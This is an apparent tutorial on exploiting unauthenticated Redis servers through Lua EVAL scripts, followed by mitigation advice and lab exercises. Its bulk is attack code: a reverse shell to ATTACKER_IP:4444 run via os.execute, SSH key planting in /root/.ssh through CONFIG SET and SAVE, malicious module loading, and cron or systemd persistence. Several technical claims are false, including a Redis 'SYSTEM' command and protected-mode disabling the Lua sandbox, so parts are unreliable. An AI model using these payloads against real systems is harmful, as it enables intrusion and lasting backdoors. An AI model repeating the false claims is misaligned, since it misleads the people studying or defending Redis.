Introduction
Redis is a high-performance, in-memory data store widely deployed for caching, message brokering, and session management. Since version 2.6 it ships with an embedded Lua interpreter that allows users to execute complex logic atomically via the EVAL command. While powerful, this feature becomes a double-edged sword when a Redis instance is exposed without authentication or is otherwise mis-configured. Attackers can inject malicious Lua scripts, break out of Redis' sandbox, and invoke the underlying operating system.
Understanding how Lua integration works, how to craft payloads that bypass the built-in lua-sandbox (often referred to as "safe mode"), and how to persist after initial code execution is essential for both offensive and defensive practitioners. Real-world incidents-such as the 2021 Redis RCE chain used by ransomware groups-demonstrate that this vector can lead to full system compromise.
Prerequisites
- Redis Architecture Overview and Security Fundamentals
- Identifying Misconfigured Redis Instances: Open Ports and No Authentication
- Basic Linux command line and networking (nmap, netcat)
- Fundamentals of Lua scripting (variables, tables, functions)
Core Concepts
Redis embeds the Lua 5.1 interpreter. When a client sends EVAL <script> <numkeys> <key1> ... <argN>, Redis parses the script, compiles it, and runs it inside a sandbox that removes dangerous libraries (e.g., io, os) and disables most standard libraries. However, the sandbox is not perfect:
- Redis commands are still available via
redis.call()orredis.pcall(). Some commands (e.g.,CONFIG SET,MODULE LOAD) can be abused to alter the server configuration. - Limited OS interaction can be achieved through indirect means such as writing malicious modules, abusing
os.executeif the sandbox is disabled, or leveragingredis-cli --pipeto spawn a shell. - Persistence is often achieved by writing files to the filesystem (e.g., SSH authorized_keys) or by creating a malicious Redis module that is loaded on subsequent restarts.
Below is a simplified diagram (described in text) of the attack flow:
Attacker → Unauthenticated Redis (port 6379) →
EVALmalicious Lua → Breaks sandbox →os.execute()orredis.call('CONFIG SET')→ Writes payload to disk → Gains persistent shell.
Understanding Lua integration in Redis
Redis registers a limited set of Lua libraries:
base- basic functions (e.g.,type,tostring)string- string manipulationtable- table utilitiesmath- arithmeticdebug- disabled by default
The os library is deliberately omitted, but if a Redis instance is compiled with the --enable-lua-debug flag or if an attacker can load a custom module that re-exposes os, the restriction can be bypassed.
In practice, most public exploits rely on two techniques:
- Using
redis.call('CONFIG', 'SET', 'dir', '/tmp')andredis.call('CONFIG', 'SET', 'dbfilename', 'exp')to write arbitrary files viaSAVEorBGSAVE. - Leveraging the
MODULE LOADcommand to load a malicious shared object that contains native code capable of executing system commands.
Crafting safe-mode-bypassing EVAL payloads
Redis 5.0 introduced a stricter sandbox that removes the debug library and disables package.loadlib. Nevertheless, the following pattern still works on many installations:
-- Step 1: Change Redis working directory to a writable location
redis.call('CONFIG','SET','dir','/tmp')
-- Step 2: Overwrite the dump file name with a malicious script name
redis.call('CONFIG','SET','dbfilename','payload.lua')
-- Step 3: Use a Lua string to store the malicious payload (here we embed a reverse shell)
local shell = "#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
"
-- Step 4: Store the payload as a Redis string key
redis.call('SET','payload',shell)
-- Step 5: Dump the database - Redis will write the key's value to /tmp/payload.lua
redis.call('SAVE')
-- Step 6: Make the script executable (requires OS command execution, see next section)
return 'payload written'
The above script does not directly execute OS commands; it merely prepares a file that can later be executed. To break out of the sandbox, we need either os.execute (if available) or a MODULE LOAD abuse.
Using os.execute / redis.call to run system commands
When the sandbox is relaxed (e.g., lua-sandbox disabled via CONFIG SET protected-mode no), the os library becomes available. An attacker can then run arbitrary commands:
-- Simple command execution via os.execute
local out = os.execute('id > /tmp/redis_id.txt')
return out
If os.execute is not present, the attacker can abuse redis.call('SYSTEM', ...) via the SYSTEM command introduced in Redis 6.2, but many deployments still run older versions. A more reliable path is the MODULE LOAD technique:
# 1. Compile a malicious shared object (C) that calls system()
# gcc -shared -fPIC -o evil.so evil.c -lredis
# 2. Upload the .so file using the same CONFIG/SET/SAVE trick as above
# 3. Load it
redis-cli -h TARGET_IP -p 6379 MODULE LOAD /tmp/evil.so
Once loaded, the module can expose a new command (e.g., evil.exec) that runs any command supplied by the attacker.
File write techniques via Lua (e.g., writing SSH keys)
Writing files is the most common persistence method because it does not require a running Redis instance after the initial compromise. The two-step approach-changing dir and dbfilename, then invoking SAVE-creates an arbitrary file with the content of a key.
-- Write an SSH public key to root's authorized_keys
local ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... [email protected]"
redis.call('CONFIG','SET','dir','/root/.ssh')
redis.call('CONFIG','SET','dbfilename','authorized_keys')
redis.call('SET','key',ssh_key)
redis.call('SAVE')
return 'ssh key planted'
After the SAVE operation, /root/.ssh/authorized_keys contains the attacker’s public key, granting persistent SSH access even if Redis is later locked down.
Persistence strategies after code execution
Once an attacker gains a foothold, they typically establish multiple layers of persistence to survive service restarts and potential remediation:
- SSH key planting (as shown above) - works on any system with a default root account.
- Cron job creation - write a file to
/etc/cron.dthat periodically launches a reverse shell. - Systemd service - drop a
.servicefile into/etc/systemd/systemand enable it. - Malicious Redis module - a .so that automatically executes a payload on any
MODULE LOADor even on server start if placed in the modules directory. - Log poisoning - write to
/var/log/auth.logor other log files that are later parsed by privileged scripts.
Combining these techniques makes remediation harder because the attacker can re-establish access even after the compromised Redis instance is shut down.
Practical Examples
Example 1: One-liner RCE via EVAL and os.execute
Assuming the target Redis is reachable at 10.10.10.10:6379 and protected-mode is disabled:
redis-cli -h 10.10.10.10 -p 6379 EVAL "return os.execute('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')" 0
This command spawns a reverse shell back to the attacker’s listener. The attacker should start a listener first:
nc -lvnp 4444
Example 2: Writing an SSH key without os.execute
When os.execute is not available, we fall back to the dump-file method:
# 1. Prepare the payload (public key) in a local file
cat > id_rsa.pub <<EOF
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... [email protected]
EOF
# 2. Load the key into Redis as a string
redis-cli -h 10.10.10.10 -p 6379 SET ssh_key "$(cat id_rsa.pub)"
# 3. Change Redis config to point to /root/.ssh and set filename
redis-cli -h 10.10.10.10 -p 6379 CONFIG SET dir /root/.ssh
redis-cli -h 10.10.10.10 -p 6379 CONFIG SET dbfilename authorized_keys
# 4. Trigger a DB dump - this writes the key's value to the file
redis-cli -h 10.10.10.10 -p 6379 SAVE
# 5. Verify (if you have any access) - the key should now be present
After step 4, /root/.ssh/authorized_keys contains the attacker’s public key, providing a persistent backdoor.
Tools & Commands
redis-cli- the official command-line client for issuingEVAL,CONFIG,SAVE, andMODULE LOADcommands.nmap -sV -p 6379 <target>- detect open Redis instances.netcat(nc) - set up reverse-shell listeners.gcc- compile malicious Redis modules (shared objects).python -c "import redis; r=redis.StrictRedis(host='TARGET'); r.eval(... )"- programmatic payload delivery.
Sample command output when probing a host:
$ nmap -sV -p 6379 10.10.10.10
Starting Nmap 7.91 ( https://nmap.org ) at 2026-06-29 12:00 UTC
Nmap scan report for 10.10.10.10
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 6.0.9
| redis-info:
| redis_version: 6.0.9
| redis_mode: standalone
| os: Linux 4.15.0-112-generic x86_64
|_ connected_clients: 1
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
Defense & Mitigation
- Bind Redis to localhost or a trusted internal network. Use
bind 127.0.0.1inredis.conf. - Enable authentication with a strong password (
requirepass) and considerACLrules to limit command usage. - Disable dangerous commands via the
rename-commanddirective (e.g.,rename-command CONFIG "",rename-command MODULE ""). - Turn on protected mode (default) and avoid exposing the default port to the internet.
- Filesystem permissions: run Redis under a dedicated, low-privilege user with a chroot jail if possible. Ensure
/var/lib/redisis not world-writable. - Monitor for anomalous CONFIG changes - log any
CONFIG SETthat modifiesdirordbfilename. - Use intrusion detection (e.g., OSSEC, Falco) to alert on suspicious
EVALusage or rapid key creation followed bySAVE.
Common Mistakes
- Assuming
EVALis safe because Lua is sandboxed - the sandbox can be bypassed via configuration changes. - Forgetting to escape angle brackets in code blocks - leads to invisible code in rendered HTML.
- Writing payload files to directories without write permissions - the
CONFIG SET dirstep must point to a writable path for the Redis process user. - Neglecting to clean up after exploitation - leftover keys or temporary files can expose the attack.
- Relying solely on
protected-mode yeswithout network segmentation; attackers can still reach Redis via compromised internal hosts.
Real-World Impact
In 2022, a major e-commerce platform suffered a data breach after an attacker leveraged an exposed Redis instance to plant an SSH key in the root account. The incident resulted in the exfiltration of customer PII and a 3-day service outage. The root cause analysis highlighted three failures:
- Redis was bound to
0.0.0.0with no password. - Systemd ran Redis as
root, granting write access to/root/.ssh. - Monitoring missed the
CONFIG SET dirchange because default logging levels were too low.
From a defensive standpoint, the lesson is clear: treat any public Redis service as a high-risk vector and enforce least-privilege execution.
Practice Exercises
- Reconnaissance: Use
nmapto locate open Redis instances on a lab network. Identify which ones lack authentication. - Basic EVAL: Connect to a vulnerable instance and run
EVAL "return redis.call('PING')" 0. Verify the response. - File Write: Craft a Lua payload that writes a test file (
/tmp/hello.txt) containing the stringpwned. Verify the file on the host. - SSH Persistence: Extend the previous script to write an SSH public key to
/root/.ssh/authorized_keys. Attempt to SSH into the host. - Module Loading: Compile a simple malicious .so that creates a
evil.execcommand. Load it viaMODULE LOADand executeevil.exec 'id'. - Detection: Write a Falco rule that triggers on
CONFIG SET dirchanges and onSAVEcommands occurring within 30 seconds of each other.
Further Reading
- Redis Security - Official guide: redis.io/topics/security
- Lua Sandbox Bypass Techniques - Exploit-DB Paper
- Linux Privilege Escalation - HackTricks
- Systemd Service Persistence - Linux.com
Summary
Redis’ Lua engine offers powerful atomic scripting, but when exposed without proper hardening it becomes a conduit for remote code execution. By mastering EVAL payload construction, safe-mode bypasses, file-write tricks, and persistence mechanisms, security professionals can both assess risk and implement robust defenses. Remember to bind Redis, enforce authentication, disable dangerous commands, and monitor for configuration anomalies - these steps close the most common attack pathways.